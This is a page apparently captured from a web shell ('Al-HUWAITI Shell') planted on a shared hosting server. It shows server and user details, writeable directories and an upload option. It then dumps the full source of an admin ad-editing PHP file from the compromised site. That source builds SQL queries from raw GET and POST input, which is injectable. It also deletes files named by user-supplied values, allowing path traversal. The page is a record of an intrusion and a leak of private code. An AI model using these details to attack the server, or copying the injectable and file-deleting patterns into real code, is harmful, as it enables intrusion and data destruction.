Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/admin/page_ads_edit.php
<?php 
	$error = "";
	$message = "";
	include "db_connection.php";
	include "sessioncheck.php";
	$error = "";
	$message = "";
	if(!empty($_GET["id"])){
		$file_name = $_GET['id'];
		$query="SELECT * from page_ads WHERE file_name='".$_GET['id']."'";
		$result=mysqli_query($connection,$query);
		$row = mysqli_fetch_assoc($result);
		if(!empty($row["file_name"])){
		}else{
			header("Location:page_ads_list");	
		}
	}else{
		header("Location:page_ads_list");	
	}
	
	if(!empty($_POST["Process"]) && trim($_POST["Process"])=="EditNow"){ 
		$file_name = $_POST['file_name'];		
		#manage deleted entries. Delete the entries which are not checkmarked
		$sql=mysqli_query($connection,"SELECT * FROM page_ads WHERE file_name='$file_name'");
		while($row = mysqli_fetch_assoc($sql)){			 
			if(!empty($_POST[$row["ad_placement"]."_chk_".$row["id"]])){				 
			}else{				 
				$image_name = $row['image_name'];	 
				unlink("../../bg_images/$image_name"); 
				mysqli_query($connection,"DELETE FROM page_ads WHERE id=".$row["id"]);	 
			}			
		}		 	
		
		#update the placment
		$sql=mysqli_query($connection,"SELECT * FROM page_ads WHERE file_name='$file_name'") or die(mysqli_error($connection));;	
		while($row = mysqli_fetch_assoc($sql)){
			#manage background
			if(!empty($_POST[$row["ad_placement"]."_chk_".$row["id"]])){
				if(trim($_POST[$row["ad_placement"]."_ad_placement_".$row["id"]])==$row["ad_placement"]){
					#if placement is same, just update the entries				
					#image upload					
					 if(!empty($_FILES[$row["ad_placement"]."_image_name_".$row["id"]]['name'])){	
					 	$tmp_name = $_FILES[$row["ad_placement"]."_image_name_".$row["id"]]['tmp_name'];
						$path = "../../bg_images/";				
						$name = $_FILES[$row["ad_placement"]."_image_name_".$row["id"]]['name'];
						$size = $_FILES[$row["ad_placement"]."_image_name_".$row["id"]]['size'];
						$type = $_FILES[$row["ad_placement"]."_image_name_".$row["id"]]['type'];
						$ext = strtolower(substr($name, strrpos($name, '.') +1));
						$name = time()."_".rand(0,999999).".".$ext;
						$target_file = $path . $name;	
						if(($ext=='jpg' || $ext=='jpeg' || $ext=='png' || $ext=='gif')&&($type=='image/jpeg' || $type=='image/png' || $type=='image/gif')){				
							if (move_uploaded_file($_FILES[$row["ad_placement"]."_image_name_".$row["id"]]["tmp_name"], $target_file)) {		
								unlink($path . $_POST[$row["ad_placement"]."_old_image_name_".$row["id"]]);
								#update table with new file name
								$sql_chk=mysqli_query($connection,"SELECT * FROM page_ads WHERE image_name='".$_POST[$row["ad_placement"]."_old_image_name_".$row["id"]]."' and file_name='$file_name'");
								while($row_chk=mysqli_fetch_assoc($sql_chk)){								
									 $sql=mysqli_query($connection,"UPDATE page_ads SET link='".test_input($_POST[$row["ad_placement"]."_link_".$row["id"]])."', image_name='".$name."', img_alt='".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', img_title='".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', 	ad_placement='".test_input($_POST[$row["ad_placement"]."_ad_placement_".$row["id"]])."', ad_device='".test_input($_POST[$row["ad_placement"]."_ad_device_".$row["id"]])."', active='".test_input($_POST[$row["ad_placement"]."_active_".$row["id"]])."'     WHERE id=".$row_chk["id"]."");						
								} //while($row_chk=mysqli_fetch_assoc($sql_chk))						 				 
							}						 
						}				 
					}else{						 				 		 
						$sql_update=mysqli_query($connection, "UPDATE page_ads SET link='".test_input($_POST[$row["ad_placement"]."_link_".$row["id"]])."', image_name='".test_input($_POST[$row["ad_placement"]."_old_image_name_".$row["id"]])."', img_alt='".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', img_title='".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', 	ad_placement='".test_input($_POST[$row["ad_placement"]."_ad_placement_".$row["id"]])."', ad_device='".test_input($_POST[$row["ad_placement"]."_ad_device_".$row["id"]])."', active='".test_input($_POST[$row["ad_placement"]."_active_".$row["id"]])."'    WHERE id='".$row["id"]."' "); 
					}					
				}else{ //if(trim($_POST[$row["ad_placement"]."_ad_placement_".$row["id"]))		
					#if you change the placeement, 
					 if(!empty($_FILES[$row["ad_placement"]."_image_name_".$row["id"]]['name'])){	
					 	$tmp_name = $_FILES[$row["ad_placement"]."_image_name_".$row["id"]]['tmp_name'];
						$path = "../../bg_images/";				
						$name = $_FILES[$row["ad_placement"]."_image_name_".$row["id"]]['name'];
						$size = $_FILES[$row["ad_placement"]."_image_name_".$row["id"]]['size'];
						$type = $_FILES[$row["ad_placement"]."_image_name_".$row["id"]]['type'];
						$ext = strtolower(substr($name, strrpos($name, '.') +1));
						$name = time()."_".rand(0,999999).".".$ext;
						$target_file = $path . $name;		
						
						if(($ext=='jpg' || $ext=='jpeg' || $ext=='png' || $ext=='gif')&&($type=='image/jpeg' || $type=='image/png' || $type=='image/gif')){				
							if (move_uploaded_file($_FILES[$row["ad_placement"]."_image_name_".$row["id"]]["tmp_name"], $target_file)) {		
								unlink($path . $_POST[$row["ad_placement"]."_old_image_name_".$row["id"]]);
								if($row["ad_placement"]=="background"){
									# add 3 entries in db for top/bottom, so delete all entires with old pacment
									mysqli_query($connection,"DELETE FROM page_ads WHERE id=".$row["id"]);							
									#insert fresh 3 tries							 
									 mysqli_query($connection,"INSERT into `page_ads` (file_name,link,image_name,img_alt, img_title, ad_placement, ad_device, active) VALUES ('$file_name', '".test_input($_POST[$row["ad_placement"]."_link_".$row["id"]])."', '$name', '".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', '".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', '".trim($_POST[$row["ad_placement"]."_ad_placement_".$row["id"]])."', 'mobile', '1')");							 
									 mysqli_query($connection,"INSERT into `page_ads` (file_name,link,image_name,img_alt, img_title, ad_placement, ad_device, active) VALUES ('$file_name', '".test_input($_POST[$row["ad_placement"]."_link_".$row["id"]])."', '$name', '".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', '".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', '".trim($_POST[$row["ad_placement"]."_ad_placement_".$row["id"]])."', 'tablet', '1')");
									  mysqli_query($connection,"INSERT into `page_ads` (file_name,link,image_name,img_alt, img_title, ad_placement, ad_device, active) VALUES ('$file_name', '".test_input($_POST[$row["ad_placement"]."_link_".$row["id"]])."', '$name', '".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', '".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', '".trim($_POST[$row["ad_placement"]."_ad_placement_".$row["id"]])."', 'desktop', '1')");							
								}else{
									$sql_update=mysqli_query($connection, "UPDATE page_ads SET link='".test_input($_POST[$row["ad_placement"]."_link_".$row["id"]])."', image_name='".$name."', img_alt='".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', img_title='".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', 	ad_placement='".test_input($_POST[$row["ad_placement"]."_ad_placement_".$row["id"]])."', ad_device='".test_input($_POST[$row["ad_placement"]."_ad_device_".$row["id"]])."', active='".test_input($_POST[$row["ad_placement"]."_active_".$row["id"]])."'    WHERE id='".$row["id"]."' ");						
								}								
							}
						}				 
					 }else{
					 	#No image upload
						if($row["ad_placement"]=="background"){
							# add 3 entries in db for top/bottom, so delete all entires with old pacment
							mysqli_query($connection,"DELETE FROM page_ads WHERE id=".$row["id"]);							
							#insert fresh 3 tries							 
							mysqli_query($connection,"INSERT into `page_ads` (file_name,link,image_name,img_alt, img_title, ad_placement, ad_device, active) VALUES ('$file_name', '".test_input($_POST[$row["ad_placement"]."_link_".$row["id"]])."', '".test_input($_POST[$row["ad_placement"]."_old_image_name_".$row["id"]])."', '".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', '".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', '".trim($_POST[$row["ad_placement"]."_ad_placement_".$row["id"]])."', 'mobile', '1')");							 
							mysqli_query($connection,"INSERT into `page_ads` (file_name,link,image_name,img_alt, img_title, ad_placement, ad_device, active) VALUES ('$file_name', '".test_input($_POST[$row["ad_placement"]."_link_".$row["id"]])."', '".test_input($_POST[$row["ad_placement"]."_old_image_name_".$row["id"]])."', '".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', '".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', '".trim($_POST[$row["ad_placement"]."_ad_placement_".$row["id"]])."', 'tablet', '1')");
							mysqli_query($connection,"INSERT into `page_ads` (file_name,link,image_name,img_alt, img_title, ad_placement, ad_device, active) VALUES ('$file_name', '".test_input($_POST[$row["ad_placement"]."_link_".$row["id"]])."', '".test_input($_POST[$row["ad_placement"]."_old_image_name_".$row["id"]])."', '".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', '".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', '".trim($_POST[$row["ad_placement"]."_ad_placement_".$row["id"]])."', 'desktop', '1')");							
						}else{
							$sql_update=mysqli_query($connection, "UPDATE page_ads SET link='".test_input($_POST[$row["ad_placement"]."_link_".$row["id"]])."', image_name='".test_input($_POST[$row["ad_placement"]."_old_image_name_".$row["id"]])."', img_alt='".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', img_title='".test_input($_POST[$row["ad_placement"]."_img_title_".$row["id"]])."', 	ad_placement='".test_input($_POST[$row["ad_placement"]."_ad_placement_".$row["id"]])."', ad_device='".test_input($_POST[$row["ad_placement"]."_ad_device_".$row["id"]])."', active='".test_input($_POST[$row["ad_placement"]."_active_".$row["id"]])."'    WHERE id='".$row["id"]."' ");						
						}
					}				
				}	
			}//while($row = mysqli_fetch_assoc($sql))		
		} //while($row = mysqli_fetch_assoc($sql))		
		$message= "Page Ads updated successfully";	
		
		//Reload the content
		$query="SELECT * from page_ads WHERE file_name='".$_GET['id']."'";
		$result=mysqli_query($connection,$query);
		$row = mysqli_fetch_assoc($result);
	}	
?>
<!-- Header Start-->
<?php include("header.php");?>  	  
<!-- Header Ends--> 
<!-- Content Start-->
<div class="content-header">
  <div class="container-fluid">
    <div class="row mb-2">
      <div class="col-sm-6">
        <h1 class="m-0 text-dark">Edit Page Ad : <?=$row['file_name']?></h1>
      </div>
      <div class="col-sm-6">
        <ol class="breadcrumb float-sm-right">
          <li class="breadcrumb-item"><a href="<?php echo MAIN_URL?>/admin/index">Home</a></li>
		  <li class="breadcrumb-item active">Banner</li>
		  <li class="breadcrumb-item"><a href="<?php echo MAIN_URL?>/admin/page_ads_list">List Page Ads</a></li>
          <li class="breadcrumb-item"><a href="<?php echo MAIN_URL?>/admin/page_ads_edit?id=<?php echo $row['file_name'];?>">Edit Page Ad : <?=$row['file_name']?></a></li>
        </ol>
      </div>
    </div>
  </div>
</div>
    <section class="content">
      <div class="container-fluid">
          <div class="row">
          <div class="col-12">
             <div class="card">
            <!--<div class="card-header">
               <h3 class="card-title"><button type="button" class="btn btn-info" onClick="window.location.href='<?php echo MAIN_URL?>/admin/page_ads_list'">List Page Ads</button>  </h3>
            </div>-->
            <!-- /.card-header -->
            <div class="card-body">
			  <?php include_once 'notification.php'; ?> 
               <form action="" method="post" id="add-pageads-form" enctype="multipart/form-data">
			   		<input type="hidden" name="file_name" id="file_name" value="<?= $row["file_name"] ?>"/>		
					 				  	 
				  	 <!-- Background Starts -->									
				<?php
					$background_ids =array();
					$sql_background=mysqli_query($connection,"SELECT * FROM page_ads WHERE file_name='$file_name' and ad_placement='background' ");
					if(mysqli_num_rows($sql_background)){
				?>
				<div class="form-row">
					<div class="form-group col-md-12">
					<input type="text" name="mode" id="mode" class="form-control input-sm" placeholder="Page" value="Background" readonly=""/>
					</div>
				</div>					
				<?php
					while($row_background = mysqli_fetch_assoc($sql_background)){
					$background_ids[] = 	$row_background['id'];				
				?>		
				<input type="hidden" name="old_background_ad_placement_<?=$row_background['id']?>" id="old_background_ad_placement_<?=$row_background['id']?>" class="form-control input-sm"  value="background" />
				<div class="form-row">
					<div class="form-group col-md-2">	
						<input class="adserviceCheckbox" type="checkbox" name="background_chk_<?=$row_background['id']?>" id="background_chk_<?=$row_background['id']?>" value="1" <?php if(!empty($row_background["id"])){?> checked="checked" <?php } ?> style="float:left !important;"> 
						<select class="form-control input_border_radius input-sm" id="background_ad_placement_<?=$row_background['id']?>" name="background_ad_placement_<?=$row_background['id']?>" title="Select Placement" style="float:right !important;width:80%">
							<option value="">-- Select Placement --</option>
							<option value="background" <?php if($row_background['ad_placement']=="background") echo 'selected="selected"'; ?>> Background </option>
							<option value="top" <?php if($row_background['ad_placement']=="top") echo 'selected="selected"'; ?>> Top </option>
							<option value="bottom" <?php if($row_background['ad_placement']=="bottom") echo 'selected="selected"'; ?>> Bottom </option>	 
						</select>	 	
					</div>					 
					<div class="form-group col-md-2">	
						<input type="text" name="background_link_<?=$row_background['id']?>" id="background_link_<?=$row_background['id']?>" class="form-control input-sm" placeholder="Link" title="Link" value="<?=$row_background["link"] ?>"/>					
					</div>					
					<div class="form-group col-md-2">	
						<input type="text" name="background_img_title_<?=$row_background['id']?>" id="background_img_title_<?=$row_background['id']?>" class="form-control input-sm" placeholder="Title" title="Title"  value="<?=$row_background["img_title"] ?>"/>			
					</div>						
					<div class="form-group col-md-2">	
						<input type="text" name="background_old_image_name_<?=$row_background['id']?>" id="background_old_image_name_<?=$row_background['id']?>" class="form-control input-sm" placeholder="Uploaded Image" title="Uploaded Image"  value="<?=$row_background["image_name"] ?>"/>			
					</div>							
					<div class="form-group col-md-2">				 
							<input   name="background_image_name_<?=$row_background['id']?>" id="background_image_name_<?=$row_background['id']?>"  type="file" placeholder="Upload Image" title="Upload Image" value="Upload Image">			
					</div>					
					<div class="form-group col-md-2">							 
							<select class="form-control input_border_radius input-sm" id="background_active_<?=$row_background['id']?>" name="background_active_<?=$row_background['id']?>" title="Select Status">
								<option value="">Select Status</option>
								<option value="0" <?php if($row_background['active']=="0") echo 'selected="selected"'; ?>> Inactive </option>
								<option value="1" <?php if($row_background['active']=="1") echo 'selected="selected"'; ?>> Active </option>								 
							</select>	
					</div>								
				</div>
				<div class="form-row">	
					<div class="form-group col-md-12">		 
					Uploaded Background Image:- <a target="_blank" href="../bg_images/<?=$row_background["image_name"]?>" title="Uploaded Image <?=$row_background["image_name"]?>"><?=$row_background["image_name"]?></a>		
					</div>			 			 
				</div>
				
				<?php } ?>
				<input type="hidden" name="background_ids" id="background_ids" class="form-control input-sm"  value="<?php echo implode(',', $background_ids);?>" readonly=""/>
				<?php } ?>
				<!-- Background Ends -->	
				
				
				<!-- Top Starts -->									
				<?php
					$top_ids =array();
					$sql_top=mysqli_query($connection,"SELECT * FROM page_ads WHERE file_name='$file_name' and ad_placement='top' ");
					if(mysqli_num_rows($sql_top)){
				?>
					<div class="form-row">	
						<div class="form-group col-md-12">
						<input type="text" name="mode1" id="mode1" class="form-control input-sm" placeholder="Page" value="Top" readonly=""/>
						</div>
					</div>	
				<?php					 
					while($row_top = mysqli_fetch_assoc($sql_top)){
					$top_ids[] = 	$row_top['id'];								
				?>		
				<input type="hidden" name="old_top_ad_placement_<?=$row_top['id']?>" id="old_top_ad_placement_<?=$row_top['id']?>" class="form-control input-sm"  value="top" />
				
				<div class="form-row">	
					<div class="form-group col-md-2">	
							<input class="adserviceCheckbox " type="checkbox" name="top_chk_<?=$row_top['id']?>" id="top_chk_<?=$row_top['id']?>" value="1" <?php if(!empty($row_top["id"])){?> checked="checked" <?php } ?> style="float:left !important;"> 
							<select class="form-control input_border_radius input-sm" id="top_ad_placement_<?=$row_top['id']?>" name="top_ad_placement_<?=$row_top['id']?>" title="Select Placement" style="float:right !important;width:40%">
								<option value="">-- Select Placement --</option>
								<option value="background" <?php if($row_top['ad_placement']=="background") echo 'selected="selected"'; ?>> Background </option>
								<option value="top" <?php if($row_top['ad_placement']=="top") echo 'selected="selected"'; ?>> Top </option>
								<option value="bottom" <?php if($row_top['ad_placement']=="bottom") echo 'selected="selected"'; ?>> Bottom </option>	 
							</select>	
							<select class="form-control input_border_radius input-sm" id="top_ad_device_<?=$row_top['id']?>" name="top_ad_device_<?=$row_top['id']?>" title="Select Device" style="float:right !important;width:40%">
								<option value="">Select Status</option>
								<option value="desktop" <?php if($row_top['ad_device']=="desktop") echo 'selected="selected"'; ?>> Desktop </option>
								<option value="tablet" <?php if($row_top['ad_device']=="tablet") echo 'selected="selected"'; ?>> Tablet </option>	
								<option value="mobile" <?php if($row_top['ad_device']=="mobile") echo 'selected="selected"'; ?>> Mobile </option>								 
							</select>								 	
						</div>					 
					<div class="form-group col-md-2">	
						<input type="text" name="top_link_<?=$row_top['id']?>" id="top_link_<?=$row_top['id']?>" class="form-control input-sm" placeholder="Link" title="Link" value="<?=$row_top["link"] ?>"/>					
					</div>					
					<div class="form-group col-md-2">	
						<input type="text" name="top_img_title_<?=$row_top['id']?>" id="top_img_title_<?=$row_top['id']?>" class="form-control input-sm" placeholder="Title" title="Title"  value="<?=$row_top["img_title"] ?>"/>			
					</div>						
					<div class="form-group col-md-2">	
						<input type="text" name="top_old_image_name_<?=$row_top['id']?>" id="top_old_image_name_<?=$row_top['id']?>" class="form-control input-sm" placeholder="Uploaded Image" title="Uploaded Image"  value="<?=$row_top["image_name"] ?>"/>			
					</div>					
					<div class="form-group col-md-2">							 
							<input   name="top_image_name_<?=$row_top['id']?>" id="top_image_name_<?=$row_top['id']?>"  type="file" placeholder="Upload Image" title="Upload Image" value="Upload Image">			
					</div>					
					<div class="form-group col-md-2">							 
							<select class="form-control input_border_radius input-sm" id="top_active_<?=$row_top['id']?>" name="top_active_<?=$row_top['id']?>" title="Select Status">
								<option value="">Select Status</option>
								<option value="0" <?php if($row_top['active']=="0") echo 'selected="selected"'; ?>> Inactive </option>
								<option value="1" <?php if($row_top['active']=="1") echo 'selected="selected"'; ?>> Active </option>								 
							</select>	
					</div>								
				</div>
				<div class="form-row">
					<div class="form-group col-md-12">		 
					Uploaded Top Image:- <a target="_blank" href="../bg_images/<?=$row_top["image_name"]?>" title="Uploaded Image <?=$row_top["image_name"]?>"><?=$row_top["image_name"]?></a>	
					</div>				 			 
				</div>
				
				<?php } ?>
				<input type="hidden" name="top_ids" id="top_ids" class="form-control input-sm"  value="<?php echo implode(',', $top_ids);?>" readonly=""/>
				<?php } ?>
				<!-- Top Ends -->
				
				<!-- Bottom Starts -->									
				<?php
					$bottom_ids =array();
					$sql_bottom=mysqli_query($connection,"SELECT * FROM page_ads WHERE file_name='$file_name' and ad_placement='bottom' ");
					if(mysqli_num_rows($sql_bottom)){
				?>
					<div class="form-row">	
						<div class="form-group col-md-12">
						<input type="text" name="mode1" id="mode1" class="form-control input-sm" placeholder="Page" value="Bottom" readonly=""/>
						</div>
					</div>	
				<?php					 
					while($row_bottom = mysqli_fetch_assoc($sql_bottom)){
					$bottom_ids[] = 	$row_bottom['id'];								
				?>		
				<input type="hidden" name="old_bottom_ad_placement_<?=$row_bottom['id']?>" id="old_bottom_ad_placement_<?=$row_bottom['id']?>" class="form-control input-sm"  value="bottom" />
				
				<div class="form-row">	
					<div class="form-group col-md-2">	
							<input class="adserviceCheckbox" type="checkbox" name="bottom_chk_<?=$row_bottom['id']?>" id="bottom_chk_<?=$row_bottom['id']?>" value="1" <?php if(!empty($row_bottom["id"])){?> checked="checked" <?php } ?> style="float:left !important;"> 
							<select class="form-control input_border_radius input-sm" id="bottom_ad_placement_<?=$row_bottom['id']?>" name="bottom_ad_placement_<?=$row_bottom['id']?>" title="Select Placement" style="float:right !important;width:40%">
								<option value="">-- Select Placement --</option>
								<option value="background" <?php if($row_bottom['ad_placement']=="background") echo 'selected="selected"'; ?>> Background </option>
								<option value="top" <?php if($row_bottom['ad_placement']=="top") echo 'selected="selected"'; ?>> Top </option>
								<option value="bottom" <?php if($row_bottom['ad_placement']=="bottom") echo 'selected="selected"'; ?>> Bottom </option>	 
							</select>	
							<select class="form-control input_border_radius input-sm" id="bottom_ad_device_<?=$row_bottom['id']?>" name="bottom_ad_device_<?=$row_bottom['id']?>" title="Select Device" style="float:right !important;width:40%">
								<option value="">Select Status</option>
								<option value="desktop" <?php if($row_bottom['ad_device']=="desktop") echo 'selected="selected"'; ?>> Desktop </option>
								<option value="tablet" <?php if($row_bottom['ad_device']=="tablet") echo 'selected="selected"'; ?>> Tablet </option>	
								<option value="mobile" <?php if($row_bottom['ad_device']=="mobile") echo 'selected="selected"'; ?>> Mobile </option>								 
							</select>								 	
						</div>					 
					<div class="form-group col-md-2">	
						<input type="text" name="bottom_link_<?=$row_bottom['id']?>" id="bottom_link_<?=$row_bottom['id']?>" class="form-control input-sm" placeholder="Link" title="Link" value="<?=$row_bottom["link"] ?>"/>					
					</div>					
					<div class="form-group col-md-2">	
						<input type="text" name="bottom_img_title_<?=$row_bottom['id']?>" id="bottom_img_title_<?=$row_bottom['id']?>" class="form-control input-sm" placeholder="Title" title="Title"  value="<?=$row_bottom["img_title"] ?>"/>			
					</div>					
					<div class="form-group col-md-2">	
						<input type="text" name="bottom_old_image_name_<?=$row_bottom['id']?>" id="bottom_old_image_name_<?=$row_bottom['id']?>" class="form-control input-sm" placeholder="Uploaded Image" title="Uploaded Image"  value="<?=$row_bottom["image_name"] ?>"/>			
					</div>					
					<div class="form-group col-md-2">							 
							<input   name="bottom_image_name_<?=$row_bottom['id']?>" id="bottom_image_name_<?=$row_bottom['id']?>"  type="file" placeholder="Upload Image" title="Upload Image" value="Upload Image">			
					</div>					
					<div class="form-group col-md-2">							 
							<select class="form-control input_border_radius input-sm" id="bottom_active_<?=$row_bottom['id']?>" name="bottom_active_<?=$row_bottom['id']?>" title="Select Status">
								<option value="">Select Status</option>
								<option value="0" <?php if($row_bottom['active']=="0") echo 'selected="selected"'; ?>> Inactive </option>
								<option value="1" <?php if($row_bottom['active']=="1") echo 'selected="selected"'; ?>> Active </option>								 
							</select>	
					</div>								
				</div>
				<div class="form-row">	
					<div class="form-group col-md-12">		 
					Uploaded Top Image:- <a target="_blank" href="../bg_images/<?=$row_bottom["image_name"]?>" title="Uploaded Image <?=$row_bottom["image_name"]?>"><?=$row_bottom["image_name"]?></a>		
					</div>			 			 
				</div>
				
				<?php } ?>
				<input type="hidden" name="bottom_ids" id="bottom_ids" class="form-control input-sm"  value="<?php echo implode(',', $top_ids);?>" readonly=""/>
				<?php } ?>
				<!-- Top Ends --> 					 					 					  
				  <button type="submit" class="btn btn-primary">Edit</button>
				  <input type="hidden" name="Process" id="Process" value="EditNow" />					    
				</form>
			</div>
            <!-- /.card-body -->
          </div>
            <!-- /.card -->
          </div>
        </div>	 
        <!-- /.row (main row) -->
      </div><!-- /.container-fluid -->
    </section>
<!-- Content Ends-->	 
<!-- Footer Start-->
<?php include("footer.php");?> 
<!-- Footer Ends--> 

Al-HUWAITI Shell